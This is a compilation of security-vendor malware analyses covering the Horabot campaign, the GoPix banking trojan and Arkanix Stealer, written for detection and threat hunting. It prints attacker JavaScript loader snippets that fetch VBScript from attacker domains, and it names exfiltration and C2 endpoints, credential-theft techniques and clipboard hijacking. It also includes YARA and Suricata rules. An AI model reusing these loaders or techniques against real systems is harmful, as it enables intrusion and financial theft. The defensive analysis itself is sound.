The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.
The attack chain
After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.
Stage 1: Initial lure
Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).
Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/
Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:
This command retrieved and executed an HTA file that contained the following:
It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attackerβs domain. The body contains a large block of random, meaningless text that serves purely as filler.
Stage 2: A pinch of server-side polymorphism
The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.
The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.
The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:
Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
Anti-VM and βanti-Avastβ: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
Cleanup routines: removes temporary files and terminates selected processes.
During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the βsalvar.phpβ portion, we uncovered an exposed webpage where the adversary listed all their victims.
As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the βLocalizaçãoβ (location) column, the adversary even included the victimsβ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.
Stage 3: The evil combination of AutoIT and a banking Trojan
It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so letβs focus only on what really matters.
The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.
We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:
The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.
It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.
It includes SQL commands used to harvest credentials from browsers.
Once loaded into memory, the Trojan sends several HTTP requests to different URLs:
HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)
The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)
The page containing the first stage leading to the spreader.
Since this malware family has been extensively documented in previous studies, we wonβt reiterate its well-known functionality. Instead, weβll focus on lesser-documented and newly observed features, including the malwareβs encryption and protocol handling logic.
The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".
Key construction (left) and decryption logic (right)
We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:
def decrypt_string(encrypted_hex):
key_string = "0xFF0wx8066h"
key_index = 0
result = ""
current_key = int(encrypted_hex[0:2], 16)
i = 2
while i < len(encrypted_hex):
next_key = int(encrypted_hex[i:i+2], 16)
if key_index >= len(key_string):
key_index = 0
key_char = ord(key_string[key_index])
xored_value = next_key ^ key_char
if xored_value > current_key:
decrypted_char = xored_value - current_key
else:
decrypted_char = (xored_value + 0xFF) - current_key
result += chr(decrypted_char)
current_key = next_key
key_index += 1
i += 2
return result
Python implementation of the decryption routine
The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.
Direct pointer (left), indirect pointer (right)
Indexed strings via TStringList lookups
The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.
To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.
Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.
C2 socket address extraction
If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.
Fallback to hardcoded socket address (lifenews[.]pro:49569)
Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the βUPONβ string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:
Extracting value 5 and 6 from the configuration
In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.
The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operatorβs server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.
The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:
Comparison of βPINGβ and βCloseβ commands (sample disassembly on the left, Delphi Remote Access source code on the right)
Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like βLULUZβ (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.
The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.
After getting a sense of the protocol, letβs focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):
Encryption routine sub_00A9F2D0
The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the β##β markers. The final output looks like this:
Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers β##β, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:
alert tcp any any -> any any ( \
msg:"Horabot C2 socket communication (##hex##)"; \
flow:established; \
content:"##"; depth:2; fast_pattern; \
content:"##"; endswith; \
pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
classtype:trojan-activity; \
sid:1900000; \
rev:1; \
metadata:author Domenico; \
)
As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.
Fake token overlay used for credential theft (right), with disassembly (left)
The wordplay around βpega a visΓ£oβ, Brazilian slang meaning βget the pictureβ figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.
Below is a collage of pictures where the targeted bank overlays are visible.
Excerpt of decrypted fake overlays
Stage 4: The spreader
In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.
We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.
In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.
Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:
Harvest emails via the MAPI namespace;
Exfiltrate unique email addresses to the C2;
Clean up the outbox;
Filter the exfiltrated email addresses against a blocklist of keywords;
Prepare a phishing email containing a malicious PDF;
Mass-distribute the email to the filtered addresses.
One interesting point is that the spreaderβs code and comments allow us to extract some useful intel:
All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actorβs origin.
It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
One of the comments in the code reads βlimpa a caixa de saida antes de sapecarβ. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: βClear the outbox before you blast it off or let it rip.β
Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a βconfidential fileβ or an βinvoiceβ. Clicking the button triggers the same infection chain described in this article.
Detection engineering and threat hunting opportunities
After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.
YARA rules
The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.
import "pe"
rule Horabot_Delphi_Trojan
{
meta:
author = "maT"
description = "Detects Horabot payload/trojan (Delphi DLL)"
hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
hash_02 = "4caa797130b5f7116f11c0b48013e430"
hash_03 = "c882d948d44a65019df54b0b2996677f"
condition:
uint32be(0) == 0x4d5a5000 and
filesize < 150MB and
pe.is_dll() and
pe.number_of_exports == 4 and
pe.exports("dbkFCallWrapperAddr") and
pe.exports("__dbk_fcall_wrapper") and
pe.exports("TMethodImplementationIntercept") and
pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}
rule Horabot_AutoIT_Loader
{
meta:
author = "maT"
description = "Detects AutoIT script used as a loader by Horabot"
strings:
$winapi_01 = "Advapi32.dll"
$winapi_02 = "CryptDeriveKey"
$winapi_03 = "CryptDecrypt"
$winapi_04 = "MemoryLoadLibrary"
$winapi_05 = "VirtualAlloc"
$winapi_06 = "DllCallAddress"
$str_seed = "99521487"
$str_func01 = "B080723_N"
$str_func02 = "A040822_1"
$opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
$opt_aes192 = "0x0000660f" // CALG_AES_192
$opt_md5 = "0x00008003" // CALG_MD5
condition:
filesize < 100KB and
all of ($winapi*) and
(
1 of ($str*) or
all of ($opt*)
)
}
Hunting queries
You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.
VirusTotal Intelligence
entity:url (url:β0DOWN1109β³ or url:β0QR-CODEβ or url:β0zip0408β³ or url:β0out0408β³ or url:β0capcha17β³ or url:β/g1/ld1/β or url:β/g1/auxld1β³ or url:β/au/gerapdf/blqs1β³ or url:β/au/gerauto.phpβ or url:βg1/ctldβ or url:βindex25.phpβ or url:β07f07ffc-028dβ or url:β0AT14β³ or url:β0sen711β³) or (url:βindex15.phpβ and (url:β/on7β³ or url:β/on7allβ or url:β/infβ))
URLScan
page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)
GoPix is an advanced persistent threat targeting Brazilian financial institutionsβ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutionsβ customers.
Our extensive analysis reveals GoPixβs capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.
GoPix has reached a level of sophistication never before seen in malware originating in Brazil. Itβs been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.
The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.
The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPixβs ability to evade traditional security defenses and steal and manipulate sensitive financial data.
The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.
Initial infection
Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.
We have been monitoring this threat since 2023, and it continues to be very active for the time being.
When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.
Website shown if the user is detected as a bot or sandbox
However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:
JSON response from a malicious endpoint
The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious βWhatsApp Web installerβ in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.
WebSocket request to check if the port is open
This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.
Malware delivered through a malicious website
Infection chain
First-stage payload
If no Avast solution is installed, an executable NSIS installer file is delivered to the victimβs device. The attackers change this installer frequently to avoid detection. Itβs digitally signed with a stolen code signing certificate issued to βPLK Management Limitedβ, also used to sign the legitimate βDriver Easy Proβ software.
Stolen certificate used to sign the malicious installer
The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.
NSIS installer code creating a batch file
However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.
The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.
Itβs highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.
Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, itβs defined as βPowerShell Scriptβ).
GoPix delivery chain
Initial PowerShell script
This scriptβs purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victimβs computer.
System information collection
The information contained within this JSON is as follows:
Folder and file names to be created under the %APPDATA% directory
Obfuscated PowerShell script
Encrypted PowerShell script ps
Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
GoPix configuration file pf
Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.
Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.
Deobfuscated PowerShell script
Decrypted PowerShell script βpsβ
The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.
PowerShell script shellcode jumps to the malware loader shellcode
The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victimβs computer.
Building the GoPix shellcode depending on the targeted architecture
Shellcode
This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. Weβve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.
The old sample (left) used stack strings with API names. The new sample (right) uses the API hashing obfuscation technique
The first time GoPix is dropped into memory through PowerShell, its structure is as follows:
Memory dropper shellcode
Memory dropper DLL
Main payload shellcode
Main payload DLL
Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.
MZ signature zeroed
GoPix dropper
When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers β Chrome, Firefox, Edge, and Opera β retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.
After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.
The dropper uses a syscall instruction and calls the GoPix in-memory implantβs main function
Main GoPix implant
Clipboard stealing functionality
Boleto bancΓ‘rio was added as one of the targets to the malwareβs clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is β23790.12345 60000.123456 78901.234567 8 76540000010000β.
Boleto bancΓ‘rio targeted in clipboard-stealing functionality
When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.
Unique man-in-the-middle attack
PAC (Proxy AutoConfig) files are nothing new; theyβve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.
In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsersβ CRC checksums. If it doesnβt match a known browser, the malware simply terminates the connection.
PAC file excerpt
To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.
CRC32
Target
8BD688E8
local
8CA8ACFF
www2.banco********.com.br
AD8F5213
autoatendimento.********.com.br
105A3F17
www2.****.com.br
B477FE70
internetbanking.*******.gov.br
785F39C2
loginx.********.br
C72C8593
internetpf.*****.com.br
75E3C3BA
internet.*****.com.br
FD4E6024
internetbanking.*******.com.br
HTTPS interception
Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victimβs machine. This allows the attacker to sniff and even manipulate the victimβs traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.
GoPix trusted root certificate
Conclusion
With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.
This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malwareβs shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchersβ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.
In October 2025, we discovered a series of forum posts advertising a previously unknown stealer, dubbed βArkanix Stealerβ by its authors. It operated under a MaaS (malware-as-a-service) model, providing users not only with the implant but also with access to a control panel featuring configurable payloads and statistics. The set of implants included a publicly available browser post-exploitation tool known as ChromElevator, which was delivered by a native C++ version of the stealer. This version featured a wide range of capabilities, from collecting system information to stealing cryptocurrency wallet data. Alongside that, we have also discovered Python implementation of the stealer capable of dynamically modifying its configuration. The Python version was often packed, thus giving the adversary multiple methods for distributing their malware. It is also worth noting that Arkanix was rather a one-shot malicious campaign: at the time of writing this article, the affiliate program appears to be already taken down.
Kaspersky products detect this threat as Trojan-PSW.Win64.Coins.*, HEUR:Trojan-PSW.Multi.Disco.gen, Trojan.Python.Agent.*.
Technical details
Background
In October 2025, a series of posts was discovered on various dark web forums, advertising a stealer referred to by its author as βArkanix Stealerβ. These posts detail the features of the stealer and include a link to a Discord server, which serves as the primary communication channel between the author and the users of the stealer.
Example of an Arkanix Stealer advertisement
Upon further research utilizing public resources, we identified a set of implants associated with this stealer.
Initial infection or spreading
The initial infection vector remains unknown. However, based on some of the file names (such as steam_account_checker_pro_v1.py, discord_nitro_checker.py, and TikTokAccountBotter.exe) of the loader scripts we obtained, it can be concluded with high confidence that the initial infection vector involved phishing.
Python loader
MD5
208fa7e01f72a50334f3d7607f6b82bf
File name
discord_nitro_code_validator_right_aligned.py
The Python loader is the script responsible for downloading and executing the Python-based version of the Arkanix infostealer. We have observed both plaintext Python scripts and those bundled using PyInstaller or Nuitka, all of which share a common execution vector and are slightly obfuscated. These scripts often serve as decoys, initially appearing to contain legitimate code. Some of them do have useful functionality, and others do nothing apart from loading the stealer. Additionally, we have encountered samples that employ no obfuscation at all, in which the infostealer is launched in a separate thread via Pythonβs built-in threading module.
Variants of Python loaders executing the next stage
Upon execution, the loader first installs the required packages β namely, requests, pycryptodome, and psutil β via the pip package manager, utilizing the subprocess module. On Microsoft Windows systems, the loader also installs pywin32. In some of the analyzed samples, this process is carried out twice. Since the loader does not perform any output validation of the module installation command, it proceeds to make a POST request to hxxps://arkanix[.]pw/api/session/create to register the current compromised machine on the panel with a predefined set of parameters even if the installation failed. After that, the stealer makes a GET request to hxxps://arkanix[.]pw/stealer.py and executes the downloaded payload.
Python stealer version
MD5
af8fd03c1ec81811acf16d4182f3b5e1
File name
β
During our research, we obtained a sample of the Python implementation of the Arkanix stealer, which was downloaded from the endpoint hxxps://arkanix[.]pw/stealer.py by the previous stage.
The stealerβs capabilities β or features, as referred to by the author β in this version are configurable, with the default configuration predefined within the script file. To dynamically update the feature list, the stealer makes a GET request to hxxps://arkanix[.]pw/api/features/{payload_id}, indicating that these capabilities can be modified on the panel side. The feature list is identical to the one that was described in the GDATA report.
Configurable options
Prior to executing the information retrieval-related functions, the stealer makes a request to hxxps://arkanix[.]pw/upload_dropper.py, saves the response to %TEMP%\upd_{random 8-byte name}.py, and executes it. We do not have access to the contents of this script, which is referred to as the βdropperβ by the attackers.
During its main information retrieval routine, at the end of each processing stage, the collected information is serialized into JSON format and saved to a predefined path, such as %LOCALAPPDATA\Arkanix_lol\%info_class%.json.
In the following, we will provide a more detailed description of the Python versionβs data collection features.
System info collection
Arkanix Stealer is capable of collecting a set of info about the compromised system. This info includes:
OS version
CPU and GPU info
RAM size
Screen resolution
Keyboard layout
Time zone
Installed software
Antivirus software
VPN
Information collection is performed using standard shell commands with the exception of the VPN check. The latter is implemented by querying the endpoint hxxps://ipapi[.]co/json/ and verifying whether the associated IP address belongs to a known set of VPNs, proxies, or Tor exit nodes.
Browser features
This stealer is capable of extracting various types of data from supported browsers (22 in total, ranging from the widely popular Google Chrome to the Tor Browser). The list of supported browsers is hardcoded, and unlike other parameters, it cannot be modified during execution. In addition to a separate Chrome grabber module (which weβll discuss later), the stealer itself supports the extraction of diverse information, such as:
Browser history (URLs, visit count and last visit)
Autofill information (email, phone, addresses and payment cards details)
Saved passwords
Cookies
In case of Chromium-based browsers, 0Auth2 data is also extracted
All information is decrypted using either the Windows DPAPI or AES, where applicable, and searched for relevant keywords. In the case of browser information collection, the stealer searches exclusively for keywords related to banking (e.g., βrevolutβ, βstripeβ, βbankβ) and cryptocurrencies (e.g., βbinanceβ, βmetamaskβ, βwalletβ). In addition to this, the stealer is capable of extracting extension data from a hardcoded list of extensions associated with cryptocurrencies.
Part of the extension list which the stealer utilizes to extract data from
Telegram info collection
Telegram data collection begins with terminating the Telegram.exe process using the taskkill command. Subsequently, if the telegram_optimized feature is set to False, the malware zips the entire tdata directory (typically located at %APPDATA%\Roaming\Telegram Desktop\tdata) and transmits it to the attacker. Otherwise, it selectively copies and zips only the subdirectories containing valuable info, such as message log. The generated archive is sent to the endpoint /delivery with the filename tdata_session.zip.
Discord capabilities
The stealer includes two features connected with Discord: credentials stealing and self-spreading. The first one can be utilized to acquire credentials both from the standard client and custom clients. If the client is Chromium-based, the stealer employs the same data exfiltration mechanism as during browser credentials stealing.
The self-spreading feature is configurable (meaning it can be disabled in the config). The stealer acquires the list of userβs friends and channels via the Discord API and sends a message provided by the attacker. This stealer does not support attaching files to such messages.
VPN data collection
The VPN collector is searching for a set of known VPN software to extract account credentials from the credentials file with a known path that gets parsed with a regular expression. The extraction occurs from the following set of applications:
Mullvad VPN
NordVPN
ExpressVPN
ProtonVPN
File retrieval
File retrieval is performed regardless of the configuration. The script relies on a predefined set of paths associated with the current user (such as Desktop, Download, etc.) and file extensions mainly connected with documents and media. The script also has a predefined list of filenames to exfiltrate. The extracted files are packed into a ZIP archive which is later sent to the C2 asynchronously. An interesting aspect is that the filename list includes several French words, such as βmotdepasseβ (French for βpasswordβ), βbanqueβ (French for βbankβ), βsecretβ (French for βsecretβ), and βcompteβ (French for βaccountβ).
Other payloads
We were able to identify additional modules that are downloaded from the C2 rather than embedded into the stealer script; however, we werenβt able to obtain them. These modules can be described by the following table, with the βDetailsβ column referring to the information that could be extracted from the main stealer code.
Module name
Endpoint to download
Details
Chrome grabber
/api/chrome-grabber-template/{payload_id}
β
Wallet patcher
/api/wallet-patcher/{payload_id}
